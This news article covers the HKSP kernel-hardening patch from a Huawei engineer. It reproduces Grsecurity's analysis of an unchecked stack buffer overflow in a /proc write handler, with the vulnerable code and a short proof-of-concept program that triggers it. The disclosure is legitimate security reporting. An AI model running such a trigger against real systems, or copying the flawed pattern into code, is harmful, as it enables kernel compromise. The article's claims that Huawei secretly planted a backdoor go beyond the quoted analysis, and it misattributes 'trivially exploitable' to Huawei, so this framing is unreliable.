Huawei dev team, buggy HKSP patch with backdoor and Linux Foundation
Last week the Huawei development team submitted a patch to the Linux Foundation with a ‘trivial vulnerability.’ When the vulnerability was discovered, Huawei denied its involvement in the patch and said that its employees may be responsible.
It has already been banned by the U.S. government from supplying 5G technology to US telecom providers citing security and data leak issues. Now, Huawei is trying to secretly implement a backdoor in HKSP (Huawei Kernel Self Protection) which could have been included in the next update of Linux.
HKSP (Huawei Kernel Self Protection)
HKSP or Huawei Kernel Self Protection, is a tool for kernel protection. It was submitted to the Linux Foundation for inclusion in the official Linux Kernel project through its mailing list on Sunday. The kernel protection tool was supposed to introduce a series of security-hardening options to the Linux kernel. However, on inspection, the patch was found to introduce a backdoor to the Linux kernel project. Huawei calls the backdoor a “trivially exploitable” vulnerability.
Several other tech companies contribute patches to the Linux Foundation for the Linux kernel in an effort to make it unexploitable. Companies like Google, Microsoft, Amazon, and many more have contributed code regularly.
Vulnerability in HKSP
While other tech companies are known to contribute, this is the first time Huawei contributed to the Linux kernel project. Naturally, it sparked interest among the Linux dev team, Linux fanboys, and security researchers.
The Grsecurity security found an exploitable vulnerability in the HKSP patch. In a blog post published on Sunday, the Grsecurity team detailed the “trivially exploitable” vulnerability in the kernel code.
Huawei has seemingly stepped its foot into the kernel-self protection game with the release of HKSP. The patch itself is riddled with bugs and weaknesses and generally lacks any kind of threat model (making its mitigations similar to those present in LKRG where knowledge of the mitigation in place is enough to bypass it). It is not clear if the posted patchset is an official Huawei release or whether this code is already shipping on any Huawei devices, but the patchset uses Huawei in its name, and the Github account for the patchset lists Huawei as the organization for the account.
In the patch, a /proc/ksguard/state entry is created. Giving a hint to the level of review of the code, every time this entry is opened or closed, the following lines referencing a nonexistent filename are output to dmesg:
open /proc/ksg_state_proc ok.
close /proc/ksg_state_proc ok.
As we can see in the below line of the patch, the state entry is created with global RWX rights, a sign of carelessness given that the entry doesn’t support any meaningful read operation and execute is meaningless on such an entry.
state_proc = proc_create(“state”, 0777, ksg_proc, &ksg_state_ops);
The ksg_state_write handler for writes to this entry looks like this:
static ssize_t ksg_state_write(struct file *file, const char __user *buf,
size_t len, loff_t *offset)
{
u64 value;
char tmp[32];
size_t n = 0;
if (copy_from_user(tmp, buf, len))
return -1;
value = simple_strtoul(tmp, ‘\0’, 10);
switch (value) {
case 1:
ksg_check_keyboard();
break;
case 2:
ksg_check_nf();
break;
case 3:
ksg_check_pointer();
break;
case 4:
ksg_check_sct();
break;
default:
break;
}
*offset += len;
n += len;
return len;
}
There are a number of issues with this function. First, there is the return -1 which should return a proper errno (generally -EFAULT). There is an n variable that is assigned to, but not used for anything. There are no checks at all on the value of len. The first issue this causes is acting as a limited oracle. By writing 0 bytes to the entry, the uninitialized tmp array will attempt to have a number parsed out of it and then acted upon. Likewise, writing a full 32 bytes to the entry and failing to NUL-terminate the string will cause simple_strtoul to access out of bounds, potentially operating as a partial oracle for adjacent memory. Most importantly, due to the lack of checks on len, and given that tmp is a simple 32-byte stack array, this introduces a trivially exploitable kernel stack buffer overflow able to be performed by any unprivileged user.
For completeness, a simple PoC is provided below:
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
int main(void)
{
char buf[4096] = { };
int fd = open(“/proc/ksguard/state”, O_WRONLY);
if (fd >= 0) {
write(fd, buf, sizeof(buf));
close(fd);
}
return 0;
}
GrSecurity Writes “Effective security defenses require defined, realistic threat models. Defenses in the kernel should be programmed defensively and with reducing maintenance burdens in mind. The kernel can effectively be thought of as the largest, most vulnerable setuid root binary on the system. New code added to this most-privileged component of the system is a potential new attack surface and requires heavy scrutiny, lest worse problems be introduced than were attempted to be solved in the first place.”
Huawei Uwach?
Huawei says employee acted on its own
However, in a statement published on Monday, Huawei said that the company has no official involvement in the HKSP project, despite the project using the Huawei name in its title and the project having been developed by one of its top security engineers.
The company said the project was created and submitted to the Linux kernel project by the engineer, without its formal backing, and the HKSP code was never actually used in any of the official Huawei products.
“It is only the demo code used by an individual for technical discussion with the open source community Openwall,” Huawei said.
An update was also added to the HKSP project on Monday, with the Huawei employee adding a similar disclaimer.
GrSecurity Uwach?
Grsecurity stands by its report
Grsecurity is standing by its report that Huawei surreptitiously implemented the vulnerability in the Linux kernel patch with a hope that it is approved and implemented in the next Linux update. They stated that they were contacted by the Huawei PSIRT who forwarded a mail stating “The patchset is not provided by Huawei officials but an individual. And also not used in any Huawei devices.”
Grsecurity stated that it found that the HKSP repository owner was a Level 20 Principal Security employee in Huawei. Level 20 is the highest technical level within Huawei and it is not possible for such a high ranking official to publish a code without the knowledge of the parent organization. Further, Grsecurity found that the GitHub commit was backdated examining the contents of https://api.github.com/repos/cloudsec/hksp/events proves the commit was actually written to the repo on Monday after all the hell broke loose.
